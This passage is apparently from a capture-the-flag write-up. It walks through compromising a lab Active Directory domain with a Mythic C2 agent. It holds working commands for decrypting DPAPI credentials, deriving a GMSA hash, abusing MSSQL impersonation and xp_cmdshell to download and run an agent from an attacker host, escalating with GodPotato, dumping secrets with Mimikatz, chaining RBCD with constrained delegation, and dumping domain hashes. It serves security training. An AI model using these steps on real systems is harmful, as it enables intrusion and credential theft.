KRB5CCNAME=Administrator@cifs_JOLLYROGER.pirates.brb@PIRATES.BRB.ccache nxc smb jollyroger.pirates.brb --use-kcache -x "C:\\Windows\\Temp\\app.exe"

When we check our Mythic C2 server, we see that a callback is waiting for us.

When we run the ls command in the C: directory, we see that the flag is there.

The Administrator.PIRATES user directory is quite empty. There are a few other directories under C:\Users.

The Administrator account also appears to be quite empty. The localuser account contains some Ansible remnants, but nothing particularly interesting is found.

pirate1 is also mostly empty, but there is a DPAPI credential stored here:

The master key is also stored within the profile.

When we directly dump the master key with Mimikatz, I was unfortunately unable to obtain the master key belonging to the pirate1 user. Therefore, it would make sense to transfer the files to a Linux system and try there as well. Let’s download the master key and the DPAPI credential.

Decrypt DPAPI Credential

KRB5CCNAME=Administrator@cifs_JOLLYROGER.pirates.brb@PIRATES.BRB.ccache secretsdump.py -k -no-pass pirates.brb/administrator@jollyroger.pirates.brb

To decrypt DPAPI credentials, I will need the user’s password. I will run secretsdump as Administrator on JOLLYROGER to retrieve the hashes.

CrackStation:

Decrypt

dpapi.py masterkey -file /home/kali/Downloads/06c7b39e-24e5-4252-ab4b-9a155b95f880  -sid S-1-5-21-1298303913-3372257794-3155450891-1001 -password P@ssw0rd

Then I decrypt the credential using this key.

dpapi.py credential -file /home/kali/Downloads/82D585BFBAA099ADDEA463533658FDBA -key 0xb122125e5563c49317c634f1689e07224e319c2a9f7a7062f721b34f3088a3685c934e43e76b40bbecb6dba1fb431147dba0b3debc400f5979da81eb8c219d60

We obtain a password for the ironhook user, and this is also a flag.

netexec smb blackpearl.pirates.brb -u ironhook -p 'brb{5d26ec0024167fdf8a45a70eff4ade36}'

With the new credentials, I can check again whether there are any new access rights. The ironhook user does not have any additional access on MSSQL, but it does have new SMB access.

netexec smb 10.2.10.10-13 -u ironhook -p 'brb{5d26ec0024167fdf8a45a70eff4ade36}' --shares

The ironhook user has read and write access to the ISLAND2 share on QUEENREV.

smbclient //queenrev.pirates.brb/ISLAND2 -U 'ironhook' -W pirates.brb --password='brb{5d26ec0024167fdf8a45a70eff4ade36}'

The file contains an msDS-ManagedPassword.

Group Managed Service Accounts (GMSA) are account types in Active Directory whose passwords are automatically rotated and can only be retrieved by authorized machines. The msDS-ManagedPassword attribute contains a password blob that is normally readable only by specific authorized accounts. It appears that someone has dumped this attribute and left it in a file on the share. By parsing the raw blob and extracting the password bytes, I can compute the NTLM hash.

We can obtain the NTLM hash using the script below.

# /// script
# requires-python = ">=3.13"
# dependencies = [
#     "pycryptodome",
# ]
# ///
import hashlib
import struct
from Crypto.Hash import MD4

blob_str = "1,0,0,0,34,1,0,0,16,0,0,0,18,1,26,1,82,84,59,147,143,27,162,110,48,225,198,244,36,227,108,79,224,49,235,253,184,93,113,4,65,240,14,250,4,197,61,202,75,47,212,193,214,45,93,7,161,73,130,152,130,209,102,110,19,220,185,93,49,136,139,191,178,235,177,196,69,36,236,136,224,141,166,243,71,139,161,135,9,167,234,246,7,75,10,204,120,211,55,47,109,52,74,49,25,10,224,176,217,222,145,227,208,168,25,207,235,41,45,226,61,67,131,252,35,90,154,168,18,33,93,234,34,132,128,115,253,101,76,132,144,103,90,205,178,173,54,6,221,152,164,23,208,22,245,94,158,107,155,144,127,76,147,16,170,12,103,31,163,25,60,82,77,215,222,94,33,207,16,80,249,101,136,233,57,186,99,135,214,27,24,118,104,210,131,26,214,86,100,216,131,58,180,43,73,57,63,244,239,141,97,10,245,51,119,209,109,47,159,114,43,88,178,208,124,204,65,183,246,143,42,91,68,105,13,150,214,59,254,226,37,202,243,59,176,127,164,92,102,167,199,66,66,159,221,241,76,135,165,68,122,222,224,50,24,215,150,252,80,36,117,58,0,0,213,9,135,74,137,23,0,0,213,171,182,151,136,23,0,0"

blob = bytes([int(x) for x in blob_str.split(',')])

# Parse MSDS-MANAGEDPASSWORD_BLOB structure
# https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-adts/a9019740-3d73-46ef-a9ae-3ea8eb86ac2e
version = struct.unpack('<H', blob[0:2])[0]
reserved = struct.unpack('<H', blob[2:4])[0]
length = struct.unpack('<I', blob[4:8])[0]
curr_pw_offset = struct.unpack('<H', blob[8:10])[0]
prev_pw_offset = struct.unpack('<H', blob[10:12])[0]
query_interval_offset = struct.unpack('<H', blob[12:14])[0]
unchanged_interval_offset = struct.unpack('<H', blob[14:16])[0]

print(f"Version: {version}")
print(f"Length: {length}")
print(f"Current Password Offset: {curr_pw_offset}")
print(f"Previous Password Offset: {prev_pw_offset}")

# Extract current password (256 bytes of UTF-16LE)
# Password is from curr_pw_offset to prev_pw_offset (or query_interval_offset if no prev)
# Remove two bytes of null from the end before hashing
if prev_pw_offset > 0:
    pw_end = prev_pw_offset
else:
    pw_end = query_interval_offset

password_bytes = blob[curr_pw_offset:pw_end-2]
print(f"Password length: {len(password_bytes)} bytes")

# Calculate NTLM hash (MD4 of the password bytes)
ntlm_hash = MD4.new(password_bytes).hexdigest()
print(f"NTLM Hash: {ntlm_hash}")

Recovering the password bytes is simply a matter of parsing the structure according to Microsoft’s documentation. The result will not be ASCII characters because this is a GMSA password, so I will generate the NTLM hash (making sure to remove the last two null bytes). This produces a hash:

netexec smb blackpearl.pirates.brb -u 'gmsa-shipping$' -H 05c312361555b273fdf4366243544176

Back to MSSQL These new credentials do not provide anything different on SMB or BloodHound. However, there is something new on MSSQL:

mssqlclient.py pirates.brb/'gmsa-shipping$'@queenrev.pirates.brb -hashes :5206b1ce067ccab31c0ae1ea1c3fa267 -windows-auth

As above, I cannot access the SECRET_GOLD database. However, the gmsa-shipping$ user has impersonation privileges:

enum_impersonate

Let’s switch to that user:

EXECUTE AS LOGIN = 'sa';

And then to the database:

USE SECRET_GOLD;

There is a table:

SELECT * FROM information_schema.tables;

Let’s examine the island table:

select * from island;

Another flag.

xp_cmdshell

xp_cmdshell is still disabled:

Let’s try to enable xp_cmdshell.

enable_xp_cmdshell

Here, we can download and execute our agent again.

python3 -m http.server 4545

xp_cmdshell powershell -Command "Invoke-WebRequest -Uri http://10.2.10.153:4545/xenon_httpx.exe -OutFile C:\Windows\Temp\app.exe"

Now let’s run it as well.

xp_cmdshell C:\Windows\Temp\app.exe

When we return to our Mythic C2 server, our second callback is waiting for us.

SeImpersonatePrivilege

When we run the whoami BOF on the target system, we can see that the SeImpersonatePrivilege privilege is enabled.

Now let’s run GodPotato so that it executes app.exe (our agent).

-cmd "C:\Windows\Temp\app.exe"

After running it, we lost the old agent, but our new SYSTEM-privileged agent checked in with a callback.

We obtain another flag on the C: drive.

Enumeration

The triage command in Rubeus is used to quickly list (enumerate) Kerberos tickets in LSA. Now let’s run Rubeus.exe using inline_execute_assembly.

These are only machine account tickets, meaning there are no user sessions that can be compromised.

Here I will mention a small change: the Xenon agent started throwing a pipeline error, so I switched to the more stable Apollo agent. From this point on, all executed commands will be run on the Apollo agent.

Let’s try with Mimikatz:

mimikatz privilege::debug lsadump::secrets

There is some potentially useful information here:

• NT SERVICE\MSSQL$SQLEXPRESS : MSSQLadmin2025Pirates
• DefaultPassword : password
• QUEENREV$ : c6d36338888aa05d60db650bb7455e93 (NTLM)

Delegation

As we remember, the QUEENREV$ account has constrained delegation rights to FLYINGDUTCHMAN, but without protocol transition. If protocol transition were enabled, QUEENREV$ could use S4U2Self to request a ticket for Administrator on its own behalf, and then forward it to FLYINGDUTCHMAN via S4U2Proxy. However, since protocol transition is not enabled, QUEENREV$ cannot request tickets for arbitrary users. It first needs a forwardable ticket issued for itself.

To bypass this, I will combine constrained delegation with an RBCD chain:

• I will configure RBCD on QUEENREV$ to trust JOLLYROGER$ (a controlled account with an SPN)
• As JOLLYROGER$, I will use S4U2Self to obtain a forwardable ticket for Administrator to JOLLYROGER
• As JOLLYROGER$, I will use S4U2Proxy to obtain a ticket for Administrator to QUEENREV$ (this ticket becomes forwardable thanks to the RBCD trust)
• As QUEENREV$, I will use constrained delegation via S4U2Proxy to forward this ticket to FLYINGDUTCHMAN

As a result, I will obtain a service ticket as Administrator on FLYINGDUTCHMAN.

0xdf

RBCD

Using the hash of the QUEENREV$ machine account, I will configure RBCD (Resource-Based Constrained Delegation) and allow a controlled account with an SPN (JOLLYROGER$) to impersonate the identity of QUEENREV$.

python3 rbcd.py pirates.brb/'QUEENREV$' -hashes :c6d36338888aa05d60db650bb7455e93 -dc-ip BLACKPEARL.pirates.brb -action write -delegate-from 'JOLLYROGER$' -delegate-to 'QUEENREV$

Let’s verify it:

findDelegation.py pirates.brb/plankwalker:'Entry284*@&'

While the delegation configuration is ready, I can use the JOLLYROGER$ hash obtained from the secretsdump output above to request a ticket for Administrator via QUEENREV.

PIRATES\JOLLYROGER$:aad3b435b51404eeaad3b435b51404ee:d8f28d0287413f6bcf990f83e93cab92:::

python3 getST.py -spn host/QUEENREV.pirates.brb -impersonate Administrator pirates.brb/'JOLLYROGER$' -hashes :d8f28d0287413f6bcf990f83e93cab92 -dc-ip BLACKPEARL.pirates.brb

The resulting ticket works.

KRB5CCNAME=Administrator@host_QUEENREV.pirates.brb@PIRATES.BRB.ccache netexec smb queenrev.pirates.brb --use-kcache

Using the QUEENREV$ machine account hash along with this ticket, I will obtain a ticket for Administrator on FLYINGDUTCHMAN.

python3 getST.py -spn host/FLYINGDUTCHMAN.PIRATES.BRB -impersonate Administrator -additional-ticket Administrator@host_QUEENREV.pirates.brb@PIRATES.BRB.ccache pirates.brb/'QUEENREV$' -hashes :c6d36338888aa05d60db650bb7455e93 -dc-ip BLACKPEARL.pirates.brb

The ticket works.

KRB5CCNAME=Administrator@host_FLYINGDUTCHMAN.PIRATES.BRB@PIRATES.BRB.ccache netexec smb flyingdutchman.pirates.brb --use-kcache

Let’s use NetExec to download and execute our agent.

KRB5CCNAME=Administrator@host_FLYINGDUTCHMAN.PIRATES.BRB@PIRATES.BRB.ccache netexec smb flyingdutchman.pirates.brb --use-kcache --put-file /home/kali/Downloads/apollo.exe \\Windows\\Temp\\app.exe

KRB5CCNAME=Administrator@host_FLYINGDUTCHMAN.PIRATES.BRB@PIRATES.BRB.ccache netexec smb flyingdutchman.pirates.brb --use-kcache -x "C:\\Windows\\Temp\\app.exe"

When we return to the Mythic C2 server, we can see that our agent has checked in (callback received).

Our flag file is located in the Flag folder on the C: drive.

Enumeration

On FLYINGDUTCHMAN, there is a BACKUP directory in the root of the C: drive. Inside it, there are NTDS and NTDS.zip files.

The directories are empty. I will take a copy of the ZIP archive.

Inside, there are the ntds.dit and ntds.jfm files, along with backup copies of the SECURITY and SYSTEM registry hive files.

unzip -l NTDS.zip

Dump Hashes

I will use secretsdump.py to dump the hashes for the domain.

python3 secretsdump.py -ntds '/home/kali/Downloads/NTDS/Active Directory/ntds.dit' -system /home/kali/Downloads/NTDS/registry/SYSTEM -security /home/kali/Downloads/NTDS/registry/SECURITY LOCAL

There are a lot of user hashes here.

Test Hashes

The Administrator hash is not working.

It’s likely that it was changed after this backup.

I will save all the hashes into a file and test them against the Administrator user to check whether any of them work.

No results. I will try each one with its corresponding user.

netexec smb blackpearl.pirates.brb -u alluser.txt -H allhash.txt --continue-on-success --no-bruteforce

Still no results. All users must have changed their passwords.

ntds.dit Details

I will use ntdissector to convert the NTDS.dit file into JSON files:

ntdissector -ntds "/home/kali/Downloads/NTDS/Active Directory/ntds.dit" -system "/home/kali/Downloads/NTDS/registry/SYSTEM" -outputdir .

I will use jq to filter the accounts that have a description field.

cat out/57a3986128c9cc76af4eb4de7a6ca1a1/user.json | jq -rs '.[] | select(.description) | "\(.sAMAccountName): \(.description)"'

This description string does not work for the blackbeard user.

netexec smb blackpearl.pirates.brb -u blackbeard -p REDqC8aQtyhd78A

But it works for the Administrator user.

netexec smb blackpearl.pirates.brb -u Administrator -p REDqC8aQtyhd78A

The final flag is the NTLM hash of the krbtgt account, and I can obtain it using NetExec with the --ntds flag.

netexec smb blackpearl.pirates.brb -u Administrator -p REDqC8aQtyhd78A --ntds

We’ve reached the end of this article. The main point I wanted to explain here is where exactly you should run the Mythic C2 server agent. As you can see, some parts could have been solved using the agent, but I performed the steps on a Linux system to keep the topic less heavy and complex.

The key takeaway is understanding when and in which scenarios you should actually use the Mythic C2 server agent.

Since I haven’t covered advanced BOF and SharpCollection topics yet, I will address them in the next article. After that, I will set up a new AD lab environment and demonstrate advanced techniques, BOFs, and SharpCollection in practice directly through the agent (Mythic C2 server).

Thank you for reading this far.